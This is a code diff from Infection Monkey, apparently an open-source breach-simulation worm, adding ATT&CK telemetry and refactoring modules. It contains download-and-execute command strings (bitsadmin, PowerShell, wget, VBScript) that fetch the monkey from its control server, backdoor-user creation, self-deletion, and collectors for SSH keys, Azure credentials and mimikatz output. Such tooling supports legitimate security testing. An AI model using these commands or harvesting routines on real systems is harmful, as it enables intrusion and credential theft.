DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, ) -RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, ) -RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1' # Commands used for downloading monkeys POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\"" WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s" -RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' +BITSADMIN_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s' CHMOD_MONKEY = "chmod +x %(monkey_path)s" RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 0be24db3f..f701c1c7b 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -7,7 +7,8 @@ import time from six.moves import xrange import infection_monkey.tunnel as tunnel -import infection_monkey.utils as utils +from infection_monkey.utils.monkey_dir import create_monkey_dir, get_monkey_dir_path, remove_monkey_dir +from infection_monkey.utils.monkey_log_path import get_monkey_log_path from infection_monkey.config import WormConfiguration from infection_monkey.control import ControlClient from infection_monkey.model import DELAY_DELETE_CMD @@ -16,6 +17,7 @@ from infection_monkey.network.network_scanner import NetworkScanner from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem +from infection_monkey.telemetry.attack.t1107_telem import T1107Telem from infection_monkey.telemetry.scan_telem import ScanTelem from infection_monkey.telemetry.state_telem import StateTelem from infection_monkey.telemetry.system_info_telem import SystemInfoTelem @@ -23,8 +25,10 @@ from infection_monkey.telemetry.trace_telem import TraceTelem from infection_monkey.telemetry.tunnel_telem import TunnelTelem from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.post_breach.post_breach_handler import PostBreach -from common.utils.attack_utils import ScanStatus -from infection_monkey.exploit.tools import get_interface_to_target +from infection_monkey.exploit.tools.helpers import get_interface_to_target +from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError +from infection_monkey.telemetry.attack.t1106_telem import T1106Telem +from common.utils.attack_utils import ScanStatus, UsageEnum __author__ = 'itamar' @@ -66,10 +70,7 @@ class InfectionMonkey(object): self._parent = self._opts.parent self._default_tunnel = self._opts.tunnel self._default_server = self._opts.server - try: - self._default_server_port = self._default_server.split(':')[1] - except KeyError: - self._default_server_port = '' + if self._opts.depth: WormConfiguration._depth_from_commandline = True self._keep_running = True @@ -86,12 +87,13 @@ class InfectionMonkey(object): def start(self): LOG.info("Monkey is running...") - if not ControlClient.find_server(default_tunnel=self._default_tunnel): - LOG.info("Monkey couldn't find server. Going down.") + # Sets island's IP and port for monkey to communicate to + if not self.set_default_server(): return + self.set_default_port() # Create a dir for monkey files if there isn't one - utils.create_monkey_dir() + create_monkey_dir() if WindowsUpgrader.should_upgrade(): self._upgrading_to_64 = True @@ -103,6 +105,9 @@ class InfectionMonkey(object): ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() + if utils.is_windows_os(): + T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() + if not WormConfiguration.alive: LOG.info("Marked not alive from configuration") return @@ -114,10 +119,7 @@ class InfectionMonkey(object): if monkey_tunnel: monkey_tunnel.start() - StateTelem(False).send() - - self._default_server = WormConfiguration.current_server - LOG.debug("default server: %s" % self._default_server) + StateTelem(is_done=False).send() TunnelTelem().send() if WormConfiguration.collect_system_info: @@ -183,7 +185,7 @@ class InfectionMonkey(object): (':'+self._default_server_port if self._default_server_port else '')) else: machine.set_default_server(self._default_server) - LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) + LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server)) # Order exploits according to their type if WormConfiguration.should_exploit: @@ -229,14 +231,13 @@ class InfectionMonkey(object): InfectionMonkey.close_tunnel() firewall.close() else: - StateTelem(False).send() # Signal the server (before closing the tunnel) + StateTelem(is_done=True).send() # Signal the server (before closing the tunnel) InfectionMonkey.close_tunnel() firewall.close() if WormConfiguration.send_log_to_server: self.send_log() self._singleton.unlock() - utils.remove_monkey_dir() InfectionMonkey.self_delete() LOG.info("Monkey is shutting down") @@ -249,9 +250,13 @@ class InfectionMonkey(object): @staticmethod def self_delete(): + status = ScanStatus.USED if remove_monkey_dir() else ScanStatus.SCANNED + T1107Telem(status, get_monkey_dir_path()).send() + if WormConfiguration.self_delete_in_cleanup \ and -1 == sys.executable.find('python'): try: + status = None if "win32" == sys.platform: from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE startupinfo = subprocess.STARTUPINFO() @@ -262,11 +267,15 @@ class InfectionMonkey(object): close_fds=True, startupinfo=startupinfo) else: os.remove(sys.executable) + status = ScanStatus.USED except Exception as exc: LOG.error("Exception in self delete: %s", exc) + status = ScanStatus.SCANNED + if status: + T1107Telem(status, sys.executable).send() def send_log(self): - monkey_log_path = utils.get_monkey_log_path() + monkey_log_path = get_monkey_log_path() if os.path.exists(monkey_log_path): with open(monkey_log_path, 'r') as f: log = f.read() @@ -297,7 +306,11 @@ class InfectionMonkey(object): return True else: LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) - + except ExploitingVulnerableMachineError as exc: + LOG.error("Exception while attacking %s using %s: %s", + machine, exploiter.__class__.__name__, exc) + self.successfully_exploited(machine, exploiter) + return True except Exception as exc: LOG.exception("Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) @@ -321,3 +334,17 @@ class InfectionMonkey(object): self._keep_running = False LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit) + + def set_default_port(self): + try: + self._default_server_port = self._default_server.split(':')[1] + except KeyError: + self._default_server_port = '' + + def set_default_server(self): + if not ControlClient.find_server(default_tunnel=self._default_tunnel): + LOG.info("Monkey couldn't find server. Going down.") + return False + self._default_server = WormConfiguration.current_server + LOG.debug("default server set to: %s" % self._default_server) + return True diff --git a/monkey/infection_monkey/network/elasticfinger.py b/monkey/infection_monkey/network/elasticfinger.py index 31ce6e24a..aaac09be2 100644 --- a/monkey/infection_monkey/network/elasticfinger.py +++ b/monkey/infection_monkey/network/elasticfinger.py @@ -6,11 +6,11 @@ import requests from requests.exceptions import Timeout, ConnectionError import infection_monkey.config +from common.data.network_consts import ES_SERVICE from infection_monkey.model.host import VictimHost from infection_monkey.network import HostFinger ES_PORT = 9200 -ES_SERVICE = 'elastic-search-9200' ES_HTTP_TIMEOUT = 5 LOG = logging.getLogger(__name__) __author__ = 'danielg' diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 3a9adef57..5e448002c 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -10,7 +10,7 @@ import re from six.moves import range from infection_monkey.pyinstaller_utils import get_binary_file_path -from infection_monkey.utils import is_64bit_python +from infection_monkey.utils.environment import is_64bit_python DEFAULT_TIMEOUT = 10 BANNER_READ = 1024 diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py index ff7ae3a50..09c8d4796 100644 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -1,21 +1,16 @@ -import datetime +from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER from infection_monkey.post_breach.pba import PBA from infection_monkey.config import WormConfiguration - - -__author__ = 'danielg' - -LINUX_COMMANDS = ['useradd', '-M', '--expiredate', - datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER', - WormConfiguration.user_to_add] - -WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add, - WormConfiguration.remote_user_pass, - '/add', '/ACTIVE:NO'] +from infection_monkey.utils.users import get_commands_to_add_user class BackdoorUser(PBA): def __init__(self): - super(BackdoorUser, self).__init__("Backdoor user", - linux_cmd=' '.join(LINUX_COMMANDS), - windows_cmd=WINDOWS_COMMANDS) + linux_cmds, windows_cmds = get_commands_to_add_user( + WormConfiguration.user_to_add, + WormConfiguration.remote_user_pass) + super(BackdoorUser, self).__init__( + POST_BREACH_BACKDOOR_USER, + linux_cmd=' '.join(linux_cmds), + windows_cmd=windows_cmds) + diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py new file mode 100644 index 000000000..296179d41 --- /dev/null +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -0,0 +1,143 @@ +import logging +import os +import random +import string +import subprocess +import time + +import win32event + +from infection_monkey.utils.windows.auto_new_user import AutoNewUser, NewUserError +from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER +from infection_monkey.post_breach.pba import PBA +from infection_monkey.telemetry.post_breach_telem import PostBreachTelem +from infection_monkey.utils.environment import is_windows_os +from infection_monkey.utils.linux.users import get_linux_commands_to_delete_user, get_linux_commands_to_add_user + +PING_TEST_DOMAIN = "google.com" + +PING_WAIT_TIMEOUT_IN_MILLISECONDS = 20 * 1000 + +CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT = "Created process '{}' as user '{}', and successfully pinged." +CREATED_PROCESS_AS_USER_PING_FAILED_FORMAT = "Created process '{}' as user '{}', but failed to ping (exit status {})." + +USERNAME = "somenewuser" +PASSWORD = "N3WPa55W0rD!1" + +logger = logging.getLogger(__name__) + + +class CommunicateAsNewUser(PBA): + """ + This PBA creates a new user, and then pings google as that user. This is used for a Zero Trust test of the People + pillar. See the relevant telemetry processing to see what findings are created. + """ + + def __init__(self): + super(CommunicateAsNewUser, self).__init__(name=POST_BREACH_COMMUNICATE_AS_NEW_USER) + + def run(self): + username = CommunicateAsNewUser.get_random_new_user_name() + if is_windows_os(): + self.communicate_as_new_user_windows(username) + else: + self.communicate_as_new_user_linux(username) + + @staticmethod + def get_random_new_user_name(): + return USERNAME + ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) + + def communicate_as_new_user_linux(self, username): + try: + # add user + ping + linux_cmds = get_linux_commands_to_add_user(username) + commandline = "ping -c 1 {}".format(PING_TEST_DOMAIN) + linux_cmds.extend([";", "sudo", "-u", username, commandline]) + final_command = ' '.join(linux_cmds) + exit_status = os.system(final_command) + self.send_ping_result_telemetry(exit_status, commandline, username) + # delete the user, async in case it gets stuck. + _ = subprocess.Popen( + get_linux_commands_to_delete_user(username), stderr=subprocess.STDOUT, shell=True) + # Leaking the process on purpose - nothing we can do if it's stuck. + except subprocess.CalledProcessError as e: + PostBreachTelem(self, (e.output, False)).send() + + def communicate_as_new_user_windows(self, username): + # Importing these only on windows, as they won't exist on linux. + import win32con + import win32process + import win32api + + try: + with AutoNewUser(username, PASSWORD) as new_user: + # Using os.path is OK, as this is on windows for sure + ping_app_path = os.path.join(os.environ["WINDIR"], "system32", "PING.exe") + if not os.path.exists(ping_app_path): + PostBreachTelem(self, ("{} not found.".format(ping_app_path), False)).send() + return # Can't continue without ping. + + try: + # Open process as that user: + # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera + commandline = "{} {} {} {}".format(ping_app_path, PING_TEST_DOMAIN, "-n", "1") + process_handle, thread_handle, _, _ = win32process.CreateProcessAsUser( + new_user.get_logon_handle(), # A handle to the primary token that represents a user. + None, # The name of the module to be executed. + commandline, # The command line to be executed. + None, # Process attributes + None, # Thread attributes + True, # Should inherit handles + win32con.NORMAL_PRIORITY_CLASS, # The priority class and the creation of the process. + None, # An environment block for the new process. If this parameter is NULL, the new process + # uses the environment of the calling process. + None, # CWD. If this parameter is NULL, the new process will have the same current drive and + # directory as the calling process. + win32process.STARTUPINFO() # STARTUPINFO structure. + # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa + ) + + logger.debug( + "Waiting for ping process to finish. Timeout: {}ms".format(PING_WAIT_TIMEOUT_IN_MILLISECONDS)) + + # Ignoring return code, as we'll use `GetExitCode` to determine the state of the process later. + _ = win32event.WaitForSingleObject( # Waits until the specified object is signaled, or time-out. + process_handle, # Ping process handle + PING_WAIT_TIMEOUT_IN_MILLISECONDS # Timeout in milliseconds + ) + + ping_exit_code = win32process.GetExitCodeProcess(process_handle) + + self.send_ping_result_telemetry(ping_exit_code, commandline, username) + except Exception as e: + # If failed on 1314, it's possible to try to elevate the rights of the current user with the + # "Replace a process level token" right, using Local Security Policy editing. + PostBreachTelem(self, ( + "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send() + finally: + try: + win32api.CloseHandle(process_handle) + win32api.CloseHandle(thread_handle) + except Exception as err: + logger.error("Close handle error: " + str(err)) + except subprocess.CalledProcessError as err: + PostBreachTelem(self, ( + "Couldn't create the user '{}'. Error output is: '{}'".format(username, str(err)), + False)).send() + except NewUserError as e: + PostBreachTelem(self, (str(e), False)).send() + + def send_ping_result_telemetry(self, exit_status, commandline, username): + """ + Parses the result of ping and sends telemetry accordingly. + + :param exit_status: In both Windows and Linux, 0 exit code from Ping indicates success. + :param commandline: Exact commandline which was executed, for reporting back. + :param username: Username from which the command was executed, for reporting back. + """ + if exit_status == 0: + PostBreachTelem(self, ( + CREATED_PROCESS_AS_USER_PING_SUCCESS_FORMAT.format(commandline, username), True)).send() + else: + PostBreachTelem(self, ( + CREATED_PROCESS_AS_USER_PING_FAILED_FORMAT.format(commandline, username, exit_status), False)).send() diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index 61ec6f5d7..89417757d 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -1,11 +1,15 @@ import os import logging -from infection_monkey.utils import is_windows_os +from common.data.post_breach_consts import POST_BREACH_FILE_EXECUTION +from infection_monkey.utils.environment import is_windows_os from infection_monkey.post_breach.pba import PBA from infection_monkey.control import ControlClient from infection_monkey.config import WormConfiguration -from infection_monkey.utils import get_monkey_dir_path +from infection_monkey.utils.monkey_dir import get_monkey_dir_path +from infection_monkey.telemetry.attack.t1105_telem import T1105Telem +from common.utils.attack_utils import ScanStatus +from infection_monkey.exploit.tools.helpers import get_interface_to_target LOG = logging.getLogger(__name__) @@ -24,7 +28,7 @@ class UsersPBA(PBA): Defines user's configured post breach action. """ def __init__(self): - super(UsersPBA, self).__init__("File execution") + super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION) self.filename = '' if not is_windows_os(): # Add linux commands to PBA's @@ -79,9 +83,22 @@ class UsersPBA(PBA): pba_file_contents = ControlClient.get_pba_file(filename) + status = None if not pba_file_contents or not pba_file_contents.content: LOG.error("Island didn't respond with post breach file.") + status = ScanStatus.SCANNED + + if not status: + status = ScanStatus.USED + + T1105Telem(status, + WormConfiguration.current_server.split(':')[0], + get_interface_to_target(WormConfiguration.current_server.split(':')[0]), + filename).send() + + if status == ScanStatus.SCANNED: return False + try: with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: written_PBA_file.write(pba_file_contents.content) diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 3fb8b251f..8d7723df2 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -1,16 +1,18 @@ import logging import subprocess -import socket -from infection_monkey.control import ControlClient + +from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.post_breach_telem import PostBreachTelem -from infection_monkey.utils import is_windows_os +from infection_monkey.utils.environment import is_windows_os from infection_monkey.config import WormConfiguration +from infection_monkey.telemetry.attack.t1064_telem import T1064Telem LOG = logging.getLogger(__name__) __author__ = 'VakarisZ' +EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)" class PBA(object): """ @@ -19,7 +21,8 @@ class PBA(object): def __init__(self, name="unknown", linux_cmd="", windows_cmd=""): """ :param name: Name of post breach action. - :param command: Command that will be executed on breached machine + :param linux_cmd: Command that will be executed on breached machine + :param windows_cmd: Command that will be executed on breached machine """ self.command = PBA.choose_command(linux_cmd, windows_cmd) self.name = name @@ -46,15 +49,36 @@ class PBA(object): """ exec_funct = self._execute_default result = exec_funct() + if self.scripts_were_used_successfully(result): + T1064Telem(ScanStatus.USED, "Scripts were used to execute %s post breach action." % self.name).send() PostBreachTelem(self, result).send() + def is_script(self): + """ + Determines if PBA is a script (PBA might be a single command) + :return: True if PBA is a script(series of OS commands) + """ + return isinstance(self.command, list) and len(self.command) > 1 + + def scripts_were_used_successfully(self, pba_execution_result): + """ + Determines if scripts were used to execute PBA and if they succeeded + :param pba_execution_result: result of execution function. e.g. self._execute_default + :return: True if scripts were used, False otherwise + """ + pba_execution_succeeded = pba_execution_result[1] + return pba_execution_succeeded and self.is_script() + def _execute_default(self): """ Default post breach command execution routine :return: Tuple of command's output string and boolean, indicating if it succeeded """ try: - return subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True), True + output = subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True) + if not output: + output = EXECUTION_WITHOUT_OUTPUT + return output, True except subprocess.CalledProcessError as e: # Return error output of the command return e.output, False diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index 8522f412f..b5dfa93c7 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -3,7 +3,7 @@ import inspect import importlib from infection_monkey.post_breach.pba import PBA from infection_monkey.post_breach.actions import get_pba_files -from infection_monkey.utils import is_windows_os +from infection_monkey.utils.environment import is_windows_os LOG = logging.getLogger(__name__) @@ -25,8 +25,12 @@ class PostBreach(object): Executes all post breach actions. """ for pba in self.pba_list: - pba.run() - LOG.info("Post breach actions executed") + try: + LOG.debug("Executing PBA: '{}'".format(pba.name)) + pba.run() + except Exception as e: + LOG.error("PBA {} failed. Error info: {}".format(pba.name, e)) + LOG.info("All PBAs executed. Total {} executed.".format(len(self.pba_list))) @staticmethod def config_to_pba_list(): @@ -45,7 +49,9 @@ class PostBreach(object): if ((m[1].__module__ == module.__name__) and issubclass(m[1], PBA))] # Get post breach action object from class for pba_class in pba_classes: + LOG.debug("Checking if should run PBA {}".format(pba_class.__name__)) if pba_class.should_run(pba_class.__name__): pba = pba_class() pba_list.append(pba) + LOG.debug("Added PBA {} to PBA list".format(pba_class.__name__)) return pba_list diff --git a/monkey/infection_monkey/readme.txt b/monkey/infection_monkey/readme.txt index 0b56da2f7..06bf449da 100644 --- a/monkey/infection_monkey/readme.txt +++ b/monkey/infection_monkey/readme.txt @@ -62,7 +62,7 @@ a. Build sambacry binaries yourself a.1. Install gcc-multilib if it's not installed sudo apt-get install gcc-multilib a.2. Build the binaries - cd [code location]/infection_monkey/monkey_utils/sambacry_monkey_runner + cd [code location]/infection_monkey/exploit/sambacry_monkey_runner ./build.sh b. Download our pre-built sambacry binaries diff --git a/monkey/infection_monkey/requirements_linux.txt b/monkey/infection_monkey/requirements_linux.txt index bef031d2e..f30131267 100644 --- a/monkey/infection_monkey/requirements_linux.txt +++ b/monkey/infection_monkey/requirements_linux.txt @@ -1,10 +1,7 @@ enum34 impacket pycryptodome -pyasn1 cffi -twisted -rdpy requests odict paramiko diff --git a/monkey/infection_monkey/requirements_windows.txt b/monkey/infection_monkey/requirements_windows.txt index 1dcf65665..ce5021923 100644 --- a/monkey/infection_monkey/requirements_windows.txt +++ b/monkey/infection_monkey/requirements_windows.txt @@ -1,9 +1,7 @@ enum34 impacket pycryptodome -pyasn1 cffi -twisted requests odict paramiko diff --git a/monkey/infection_monkey/system_info/SSH_info_collector.py b/monkey/infection_monkey/system_info/SSH_info_collector.py index af1915e4d..60c509fc6 100644 --- a/monkey/infection_monkey/system_info/SSH_info_collector.py +++ b/monkey/infection_monkey/system_info/SSH_info_collector.py @@ -3,6 +3,9 @@ import pwd import os import glob +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1005_telem import T1005Telem + __author__ = 'VakarisZ' LOG = logging.getLogger(__name__) @@ -71,6 +74,7 @@ class SSHCollector(object): if private_key.find('ENCRYPTED') == -1: info['private_key'] = private_key LOG.info("Found private key in %s" % private) + T1005Telem(ScanStatus.USED, 'SSH key', "Path: %s" % private).send() else: continue except (IOError, OSError): diff --git a/monkey/infection_monkey/system_info/azure_cred_collector.py b/monkey/infection_monkey/system_info/azure_cred_collector.py index 3b1127e44..90626922d 100644 --- a/monkey/infection_monkey/system_info/azure_cred_collector.py +++ b/monkey/infection_monkey/system_info/azure_cred_collector.py @@ -5,6 +5,10 @@ import json import glob import subprocess +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1005_telem import T1005Telem +from infection_monkey.telemetry.attack.t1064_telem import T1064Telem + __author__ = 'danielg' LOG = logging.getLogger(__name__) @@ -54,6 +58,8 @@ class AzureCollector(object): decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE) decrypt_raw = decrypt_proc.communicate(input=b64_result)[0] decrypt_data = json.loads(decrypt_raw) + T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send() + T1064Telem(ScanStatus.USED, 'Bash scripts used to extract azure credentials.').send() return decrypt_data['username'], decrypt_data['password'] except IOError: LOG.warning("Failed to parse VM Access plugin file. Could not open file") @@ -92,6 +98,8 @@ class AzureCollector(object): # this is disgusting but the alternative is writing the file to disk... password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1] password = json.loads(password_raw)["Password"] + T1005Telem(ScanStatus.USED, 'Azure credentials', "Path: %s" % filepath).send() + T1064Telem(ScanStatus.USED, 'Powershell scripts used to extract azure credentials.').send() return username, password except IOError: LOG.warning("Failed to parse VM Access plugin file. Could not open file") diff --git a/monkey/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py index 4ef764251..2951b7ebc 100644 --- a/monkey/infection_monkey/system_info/mimikatz_collector.py +++ b/monkey/infection_monkey/system_info/mimikatz_collector.py @@ -5,7 +5,9 @@ import socket import zipfile import infection_monkey.config - +from common.utils.attack_utils import ScanStatus, UsageEnum +from infection_monkey.telemetry.attack.t1129_telem import T1129Telem +from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.pyinstaller_utils import get_binary_file_path, get_binaries_dir_path __author__ = 'itay.mizeretz' @@ -49,8 +51,12 @@ class MimikatzCollector(object): self._get = get_proto(("get", self._dll)) self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll)) self._isInit = True + status = ScanStatus.USED except Exception: LOG.exception("Error initializing mimikatz collector") + status = ScanStatus.SCANNED + T1106Telem(status, UsageEnum.MIMIKATZ_WINAPI).send() + T1129Telem(status, UsageEnum.MIMIKATZ).send() def get_logon_info(self): """ @@ -67,7 +73,7 @@ class MimikatzCollector(object): logon_data_dictionary = {} hostname = socket.gethostname() - + self.mimikatz_text = self._get_text_output_proto() for i in range(entry_count): @@ -102,7 +108,7 @@ class MimikatzCollector(object): except Exception: LOG.exception("Error getting logon info") return {} - + def get_mimikatz_text(self): return self.mimikatz_text diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 7c3739a0f..b8a102831 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -63,5 +63,6 @@ class WindowsInfoCollector(InfoCollector): if "credentials" in self.info: self.info["credentials"].update(mimikatz_info) self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text() + LOG.info('Mimikatz info gathered successfully') else: LOG.info('No mimikatz info was gathered') diff --git a/monkey/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py index f7835ba20..aaf5142e6 100644 --- a/monkey/infection_monkey/system_singleton.py +++ b/monkey/infection_monkey/system_singleton.py @@ -5,6 +5,7 @@ from abc import ABCMeta, abstractmethod from infection_monkey.config import WormConfiguration + __author__ = 'itamar' LOG = logging.getLogger(__name__) @@ -41,20 +42,17 @@ class WindowsSystemSingleton(_SystemSingleton): ctypes.c_bool(True), ctypes.c_char_p(self._mutex_name)) last_error = ctypes.windll.kernel32.GetLastError() + if not handle: LOG.error("Cannot acquire system singleton %r, unknown error %d", self._mutex_name, last_error) - return False - if winerror.ERROR_ALREADY_EXISTS == last_error: LOG.debug("Cannot acquire system singleton %r, mutex already exist", self._mutex_name) - return False self._mutex_handle = handle - LOG.debug("Global singleton mutex %r acquired", self._mutex_name) @@ -62,7 +60,6 @@ class WindowsSystemSingleton(_SystemSingleton): def unlock(self): assert self._mutex_handle is not None, "Singleton not locked" - ctypes.windll.kernel32.CloseHandle(self._mutex_handle) self._mutex_handle = None diff --git a/monkey/infection_monkey/telemetry/attack/t1005_telem.py b/monkey/infection_monkey/telemetry/attack/t1005_telem.py new file mode 100644 index 000000000..999d8622a --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1005_telem.py @@ -0,0 +1,22 @@ +from infection_monkey.telemetry.attack.attack_telem import AttackTelem + + +class T1005Telem(AttackTelem): + def __init__(self, status, gathered_data_type, info=""): + """ + T1005 telemetry. + :param status: ScanStatus of technique + :param gathered_data_type: Type of data collected from local system + :param info: Additional info about data + """ + super(T1005Telem, self).__init__('T1005', status) + self.gathered_data_type = gathered_data_type + self.info = info + + def get_data(self): + data = super(T1005Telem, self).get_data() + data.update({ + 'gathered_data_type': self.gathered_data_type, + 'info': self.info + }) + return data diff --git a/monkey/infection_monkey/telemetry/attack/t1035_telem.py b/monkey/infection_monkey/telemetry/attack/t1035_telem.py new file mode 100644 index 000000000..4ca9dc93c --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1035_telem.py @@ -0,0 +1,11 @@ +from infection_monkey.telemetry.attack.usage_telem import UsageTelem + + +class T1035Telem(UsageTelem): + def __init__(self, status, usage): + """ + T1035 telemetry. + :param status: ScanStatus of technique + :param usage: Enum of UsageEnum type + """ + super(T1035Telem, self).__init__('T1035', status, usage) diff --git a/monkey/infection_monkey/telemetry/attack/t1064_telem.py b/monkey/infection_monkey/telemetry/attack/t1064_telem.py new file mode 100644 index 000000000..efea27063 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1064_telem.py @@ -0,0 +1,19 @@ +from infection_monkey.telemetry.attack.usage_telem import AttackTelem + + +class T1064Telem(AttackTelem): + def __init__(self, status, usage): + """ + T1064 telemetry. + :param status: ScanStatus of technique + :param usage: Usage string + """ + super(T1064Telem, self).__init__('T1064', status) + self.usage = usage + + def get_data(self): + data = super(T1064Telem, self).get_data() + data.update({ + 'usage': self.usage + }) + return data diff --git a/monkey/infection_monkey/telemetry/attack/t1105_telem.py b/monkey/infection_monkey/telemetry/attack/t1105_telem.py new file mode 100644 index 000000000..454391da8 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1105_telem.py @@ -0,0 +1,25 @@ +from infection_monkey.telemetry.attack.victim_host_telem import AttackTelem + + +class T1105Telem(AttackTelem): + def __init__(self, status, src, dst, filename): + """ + T1105 telemetry. + :param status: ScanStatus of technique + :param src: IP of machine which uploaded the file + :param dst: IP of machine which downloaded the file + :param filename: Uploaded file's name + """ + super(T1105Telem, self).__init__('T1105', status) + self.filename = filename + self.src = src + self.dst = dst + + def get_data(self): + data = super(T1105Telem, self).get_data() + data.update({ + 'filename': self.filename, + 'src': self.src, + 'dst': self.dst + }) + return data diff --git a/monkey/infection_monkey/telemetry/attack/t1106_telem.py b/monkey/infection_monkey/telemetry/attack/t1106_telem.py new file mode 100644 index 000000000..422313540 --- /dev/null +++ b/monkey/infection_monkey/telemetry/attack/t1106_telem.py 